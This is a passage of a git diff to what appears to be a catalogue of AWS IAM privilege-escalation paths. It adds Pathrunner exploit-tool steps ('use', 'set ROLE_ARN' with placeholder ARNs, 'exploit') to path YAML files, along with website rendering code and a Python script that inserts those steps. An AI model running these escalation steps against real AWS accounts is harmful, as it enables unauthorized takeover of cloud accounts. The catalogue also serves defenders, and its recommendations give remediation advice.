arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 5 + command: pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the TARGET_ARN option (replace the placeholder with your target's real value). + - step: 6 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. diff --git a/data/paths/aws/sts/sts-001.yaml b/data/paths/aws/sts/sts-001.yaml index 803d38ea..9d2f37f9 100644 --- a/data/paths/aws/sts/sts-001.yaml +++ b/data/paths/aws/sts/sts-001.yaml @@ -70,6 +70,16 @@ exploitationSteps: - step: 7 command: aws iam list-users --max-items 3 description: Verify administrative access was successfully obtained + pathrunner: + - step: 1 + command: pathrunner use sts-001 + description: Load the sts-001 exploit module in Pathrunner. + - step: 2 + command: pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName + description: Set the ROLE_ARN option (replace the placeholder with your target's real value). + - step: 3 + command: pathrunner exploit + description: Execute the privilege escalation. recommendation: | - Avoiding using the account root notation (`arn:aws:iam::012345678901:root`) for internal accounts. This is fine to use with external accounts along with the externalID field, but is almost always overly permissive when used for internal AWS accounts. - Only allow trusted principals to assume sensitive roles. Use conditions when possible. diff --git a/docs/css/style.css b/docs/css/style.css index 0c920cfb..957a5fa8 100644 --- a/docs/css/style.css +++ b/docs/css/style.css @@ -1955,6 +1955,30 @@ html.light-theme #detail-content code { border-bottom-color: var(--accent-color); } +/* Note at the top of the Pathrunner exploitation-steps tab, linking to the + getting-started guide and the module's full reference page. */ +.pathrunner-steps-note { + background: var(--background-elevated); + border: 1px solid var(--border-color); + border-left: 3px solid var(--accent-blue); + border-radius: 8px; + padding: 12px 15px; + margin-bottom: 15px; + font-size: 0.9rem; + color: var(--text-secondary); + line-height: 1.5; +} + +.pathrunner-steps-note a { + color: var(--accent-color); + font-weight: 600; + text-decoration: none; +} + +.pathrunner-steps-note a:hover { + text-decoration: underline; +} + .step-item { background: var(--background-elevated); padding: 15px; diff --git a/docs/js/app.js b/docs/js/app.js index a7f676c7..faf7dcdb 100644 --- a/docs/js/app.js +++ b/docs/js/app.js @@ -1100,7 +1100,7 @@ function showPathDetails(path) {
${createHeadingWithAnchor('Exploitation Steps')} - ${renderExploitationSteps(path.exploitationSteps)} + ${renderExploitationSteps(path.exploitationSteps, path.id)}
${path.learningEnvironments ? ` @@ -1511,7 +1511,7 @@ function renderMarkdown(text) { } // Render exploitation steps with tabs for different tools -function renderExploitationSteps(steps) { +function renderExploitationSteps(steps, pathId) { // Check if new format (dict) or legacy format (list) if (Array.isArray(steps)) { // Legacy format: render as simple list @@ -1552,8 +1552,21 @@ function renderExploitationSteps(steps) { `).join(''); + // For the Pathrunner tab, prepend a note pointing to the installation guide + // and the module's full reference page in the /pathrunner/ section. Only + // shown when we know the path id (always, for real paths). + const pathrunnerNote = pathId ? ` +
+ New to Pathrunner? Start with the + installation & getting started guide. + For options, payloads, and the full command reference, see the + ${escapeHtml(pathId.toUpperCase())} module page. +
+ ` : ''; + const contentHtml = tools.map((tool, index) => `
+ ${tool === 'pathrunner' ? pathrunnerNote : ''} ${steps[tool].map(step => `
Step ${step.step} - ${escapeHtml(step.description)}
diff --git a/docs/js/pathrunner.js b/docs/js/pathrunner.js index de80067f..e9e2221b 100644 --- a/docs/js/pathrunner.js +++ b/docs/js/pathrunner.js @@ -208,10 +208,6 @@ function renderLanding() {
${escapeHtml(c.desc)}
`).join(''); - const versionLine = gen.pathrunnerVersion - ? `
pathrunner ${escapeHtml(gen.pathrunnerVersion)} · reference schema v${escapeHtml(gen.schemaVersion || '?')}
` - : ''; - landing.innerHTML = `

Pathrunner

@@ -222,7 +218,6 @@ function renderLanding() {
${escapeHtml(counts.services ?? '-')}AWS Services
${escapeHtml(counts.commands ?? '-')}Commands
- ${versionLine}
@@ -556,6 +551,24 @@ function panel(title, bodyHtml) { return `
${title ? `

${escapeHtml(title)}

` : ''}${bodyHtml}
`; } +// Highlight the argument portion of a pathrunner command (everything after the +// verb). Shared by the CLI and REPL step renderers so both colour `set NAME value` +// and plain args identically. +function prCommandRestHtml(verb, rest) { + if (verb === 'set' && rest.length) { + // "set NAME value..." — colour the option name distinctly from its value. + const optName = rest[0]; + const optValue = rest.slice(1).join(' '); + let html = `${escapeHtml(optName)}`; + if (optValue) html += ` ${escapeHtml(optValue)}`; + return html; + } + if (rest.length) { + return `${escapeHtml(rest.join(' '))}`; + } + return ''; +} + // Render one cliStep (e.g. "pathrunner set ROLE_ARN arn:aws:...") as a single // syntax-highlighted terminal line. The leading "$" prompt is presentational // only — it is never part of the copied text. Highlighting is intentionally @@ -566,16 +579,7 @@ function cliStepLine(step) { const bin = tokens[0] || ''; // "pathrunner" const verb = tokens[1] || ''; // use | show | set | exploit const rest = tokens.slice(2); - let restHtml = ''; - if (verb === 'set' && rest.length) { - // "set NAME value..." — colour the option name distinctly from its value. - const optName = rest[0]; - const optValue = rest.slice(1).join(' '); - restHtml = `${escapeHtml(optName)}`; - if (optValue) restHtml += ` ${escapeHtml(optValue)}`; - } else if (rest.length) { - restHtml = `${escapeHtml(rest.join(' '))}`; - } + const restHtml = prCommandRestHtml(verb, rest); const isExploit = verb === 'exploit'; const verbHtml = verb ? ` ${escapeHtml(verb)}` : ''; return `` + @@ -586,6 +590,48 @@ function cliStepLine(step) { ``; } +// Render one REPL command (e.g. "set ROLE_ARN arn:aws:...") as it is typed inside +// the interactive pathrunner REPL — no "pathrunner" binary prefix, with a ">" +// prompt. The prompt is presentational and never part of the copied text. +function replStepLine(step) { + const tokens = String(step).trim().split(/\s+/); + const verb = tokens[0] || ''; // use | show | set | exploit + const rest = tokens.slice(1); + const restHtml = prCommandRestHtml(verb, rest); + const isExploit = verb === 'exploit'; + const verbHtml = verb ? `${escapeHtml(verb)}` : ''; + return `` + + `> ` + + verbHtml + + (restHtml ? ` ${restHtml}` : '') + + (isExploit ? ` # runs the attack` : '') + + ``; +} + +// Build the copy-pastable REPL workflow block from a module's cliSteps: the same +// commands as the CLI block, but as typed inside the interactive REPL (launch +// `pathrunner`, then the bare commands with the "pathrunner" prefix stripped). +// This mirrors how the demo recording is produced. Copy yields the bare REPL +// commands — the launch line is presentational, like the prompts. +function replWorkflowBlock(mod) { + const steps = mod.cliSteps || []; + if (!steps.length) return ''; + const replSteps = steps.map((s) => String(s).replace(/^pathrunner\s+/, '')); + const launchHtml = `` + + `$ ` + + `pathrunner ` + + `# launch the interactive REPL`; + // Join with no separator: each line is a display:block span, so a literal + // newline between them inside 
 would render as an extra blank line.
+    const linesHtml = launchHtml + replSteps.map(replStepLine).join('');
+    const raw = replSteps.join('\n');
+    return `

+        
+        
${linesHtml}

+        
Run pathrunner to enter the REPL, then type these commands. Mock values are placeholders — swap in your target's real ARNs.

+    
`;
+}
+
 // Build the copy-pastable CLI workflow block from a module's cliSteps: the exact
 // one-shot commands (with mock values filled in and a payload pre-selected) that
 // reproduce the module end-to-end, ending in `pathrunner exploit`. The in-page
@@ -601,7 +647,7 @@ function cliWorkflowBlock(mod) {
     return `

         
         
${linesHtml}

-        
Mock values are placeholders — swap in your target's real ARNs. The demo above stops before pathrunner exploit.

+        
Mock values are placeholders — swap in your target's real ARNs. The demo below stops before pathrunner exploit.

     
`;
 }
 
@@ -665,16 +711,22 @@ function renderModuleDetail(mod) {
         
${xrefs}
`;
     html += `
${overviewBody}
`;
 
-    // ── Demo: the per-module VHS recording (use module + show options + show
-    // payloads), keyed by module id. Rendered when the GIF has been produced. ──
-    const gifs = gifsBlock(mod);
-    if (gifs) html += panel('REPL mode workflow', gifs);
+    // ── REPL mode workflow: the commands as typed inside the interactive REPL
+    // (launch `pathrunner`, then the bare commands), derived from cliSteps. ──
+    const repl = replWorkflowBlock(mod);
+    if (repl) html += panel('REPL mode workflow', repl);
 
-    // ── CLI workflow: the copy-pastable one-shot commands (mock values filled
-    // in, payload pre-selected) that reproduce this module end-to-end. ──
+    // ── CLI mode workflow: the copy-pastable one-shot commands (mock values
+    // filled in, payload pre-selected) that reproduce this module end-to-end. ──
     const cli = cliWorkflowBlock(mod);
     if (cli) html += panel('CLI mode workflow', cli);
 
+    // ── Demo: the per-module VHS recording (use module + show options + show
+    // payloads), keyed by module id. Rendered when the recording has been
+    // produced; it visually walks through the REPL workflow above. ──
+    const gifs = gifsBlock(mod);
+    if (gifs) html += panel('Demo', gifs);
+
     // ── Options ──
     html += panel('Options',
         (mod.options && mod.options.length) ? optionsTable(mod.options) : '
No options.
');
diff --git a/docs/pathrunner/index.html b/docs/pathrunner/index.html
index 8a33e9d5..bfef96b4 100644
--- a/docs/pathrunner/index.html
+++ b/docs/pathrunner/index.html
@@ -311,11 +311,6 @@
             font-size: 0.78rem; text-transform: uppercase; letter-spacing: 0.08em;
             color: var(--text-muted); margin-top: 4px;
         }
-        .pr-version {
-            margin-top: 16px; font-size: 0.78rem; color: var(--text-muted);
-            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
-        }
-
         /* Search */
         .pr-search-bar { margin: 0 0 20px; }
         .pr-search-bar input {
diff --git a/scripts/add-pathrunner-steps.py b/scripts/add-pathrunner-steps.py
new file mode 100644
index 00000000..3221be44
--- /dev/null
+++ b/scripts/add-pathrunner-steps.py
@@ -0,0 +1,188 @@
+#!/usr/bin/env python3
+"""Add a pathrunner CLI exploitation-steps tab to every pathfinding.cloud path
+YAML that has a matching pathrunner module.
+
+Append-only and idempotent: it inserts a `pathrunner:` entry into the existing
+`exploitationSteps` block and never rewrites existing content, so diffs stay
+minimal and hand-authored YAML (comments, `|` blocks, field order) is preserved.
+Pathrunner CLI steps are read from the generated module JSON that
+pathfinding.cloud already ships at docs/pathrunner/data/modules/{id}.json.
+
+The link to the module's full reference page and the getting-started guide is
+rendered in the website layer (docs/js/app.js, renderExploitationSteps) as a
+note at the top of the Pathrunner tab, not stored per-path in YAML.
+"""
+import json
+import glob
+import os
+import re
+import sys
+
+REPO = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+MODULES_DIR = os.path.join(REPO, "docs", "pathrunner", "data", "modules")
+
+DRY_RUN = "--apply" not in sys.argv
+ONLY = None
+for a in sys.argv[1:]:
+    if a.startswith("--only="):
+        ONLY = a.split("=", 1)[1]
+
+
+def step_description(cmd: str, path_id: str) -> str:
+    """Human-readable description for a single pathrunner CLI command."""
+    toks = cmd.split()
+    # toks[0] == "pathrunner"
+    verb = toks[1] if len(toks) > 1 else ""
+    if verb == "use":
+        return f"Load the {path_id} exploit module in Pathrunner."
+    if verb == "show" and len(toks) > 2 and toks[2] == "payloads":
+        return "List the payloads compatible with this module."
+    if verb == "set" and len(toks) > 2 and toks[2] == "PAYLOAD":
+        payload = toks[3] if len(toks) > 3 else ""
+        return f"Select the {payload} payload."
+    if verb == "set" and len(toks) > 2:
+        key = toks[2]
+        return (
+            f"Set the {key} option (replace the placeholder with your target's "
+            f"real value)."
+        )
+    if verb == "exploit":
+        return "Execute the privilege escalation."
+    return "Run the Pathrunner command."
+
+
+def yaml_scalar(value: str) -> str:
+    """Render a scalar safely. Plain unless it would be ambiguous YAML."""
+    if re.search(r":\s", value) or value.lstrip()[:1] in "#&*!|>%@`\"'[]{}," or "#" in value:
+        return "'" + value.replace("'", "''") + "'"
+    return value
+
+
+def build_pathrunner_block(cli_steps, path_id: str, tool_indent: int, dash_indent: int):
+    """Lines for the `pathrunner:` tool entry under exploitationSteps.
+
+    tool_indent/dash_indent are detected from the file so the inserted block
+    matches that file's existing sequence style (the repo mixes indentless and
+    indented sequences).
+    """
+    tool = " " * tool_indent
+    dash = " " * dash_indent
+    content = " " * (dash_indent + 2)
+    lines = [f"{tool}pathrunner:"]
+    for i, cmd in enumerate(cli_steps, start=1):
+        desc = step_description(cmd, path_id)
+        lines.append(f"{dash}- step: {i}")
+        lines.append(f"{content}command: {yaml_scalar(cmd)}")
+        lines.append(f"{content}description: {yaml_scalar(desc)}")
+    return lines
+
+
+def is_top_level_key(line: str) -> bool:
+    """A non-indented, non-blank, non-comment line starting a new top-level key."""
+    return bool(line) and not line[0].isspace() and not line.lstrip().startswith("#")
+
+
+def leading_spaces(line: str) -> int:
+    return len(line) - len(line.lstrip(" "))
+
+
+def find_block_bounds(lines, header_regex):
+    """Return info about a top-level block, or None if its header is absent.
+
+    Returns a dict with:
+      start:         index of the header line
+      insert_after:  index of the last non-blank line in the block
+      child_indent:  indent of the first child mapping key (or None)
+      dash_indent:   indent of the first sequence item '- ' in the block (or None)
+    child_indent/dash_indent let callers match the file's own style.
+    """
+    start = None
+    for i, line in enumerate(lines):
+        if re.match(header_regex, line):
+            start = i
+            break
+    if start is None:
+        return None
+    end = len(lines)
+    for j in range(start + 1, len(lines)):
+        if is_top_level_key(lines[j]):
+            end = j
+            break
+    insert_after = start
+    child_indent = None
+    dash_indent = None
+    for j in range(start + 1, end):
+        stripped = lines[j].strip()
+        if stripped != "":
+            insert_after = j
+        if dash_indent is None and re.match(r"^\s*- ", lines[j]):
+            dash_indent = leading_spaces(lines[j])
+        if child_indent is None and re.match(r"^\s+[\w.-]+:", lines[j]):
+            child_indent = leading_spaces(lines[j])
+    return {
+        "start": start,
+        "insert_after": insert_after,
+        "child_indent": child_indent,
+        "dash_indent": dash_indent,
+    }
+
+
+def process_file(yaml_path: str, cli_steps, path_id: str) -> str:
+    with open(yaml_path, "r") as f:
+        text = f.read()
+    # Idempotency: skip if already wired up.
+    if re.search(r"^\s{2}pathrunner:\s*$", text, re.MULTILINE):
+        return "skipped (already present)"
+
+    lines = text.split("\n")
+
+    exploit = find_block_bounds(lines, r"^exploitationSteps:\s*$")
+    if exploit is None:
+        return "skipped (no exploitationSteps block)"
+
+    # Match the file's own style. tool keys sit at the block's child indent
+    # (2 everywhere); sequence dashes use the detected dash indent.
+    tool_indent = exploit["child_indent"] if exploit["child_indent"] is not None else 2
+    ex_dash = exploit["dash_indent"] if exploit["dash_indent"] is not None else tool_indent
+
+    new_lines = build_pathrunner_block(cli_steps, path_id, tool_indent, ex_dash)
+    insert_after = exploit["insert_after"]
+    lines[insert_after + 1:insert_after + 1] = new_lines
+
+    new_text = "\n".join(lines)
+    if not DRY_RUN:
+        with open(yaml_path, "w") as f:
+            f.write(new_text)
+    return "updated"
+
+
+def main():
+    yaml_files = {}
+    for f in glob.glob(os.path.join(REPO, "data", "paths", "**", "*.yaml"), recursive=True):
+        yaml_files[os.path.splitext(os.path.basename(f))[0]] = f
+
+    results = {}
+    for mf in sorted(glob.glob(os.path.join(MODULES_DIR, "*.json"))):
+        path_id = os.path.splitext(os.path.basename(mf))[0]
+        if ONLY and path_id != ONLY:
+            continue
+        if path_id not in yaml_files:
+            results.setdefault("no matching path", []).append(path_id)
+            continue
+        mod = json.load(open(mf))
+        cli_steps = mod.get("cliSteps") or []
+        if not cli_steps:
+            results.setdefault("no cliSteps", []).append(path_id)
+            continue
+        status = process_file(yaml_files[path_id], cli_steps, path_id)
+        results.setdefault(status, []).append(path_id)
+
+    print(("DRY RUN" if DRY_RUN else "APPLIED") + " summary:")
+    for status, ids in sorted(results.items()):
+        print(f"  {status}: {len(ids)}")
+        if status != "updated" or len(ids) <= 10:
+            print("    " + ", ".join(ids))
+
+
+if __name__ == "__main__":
+    main()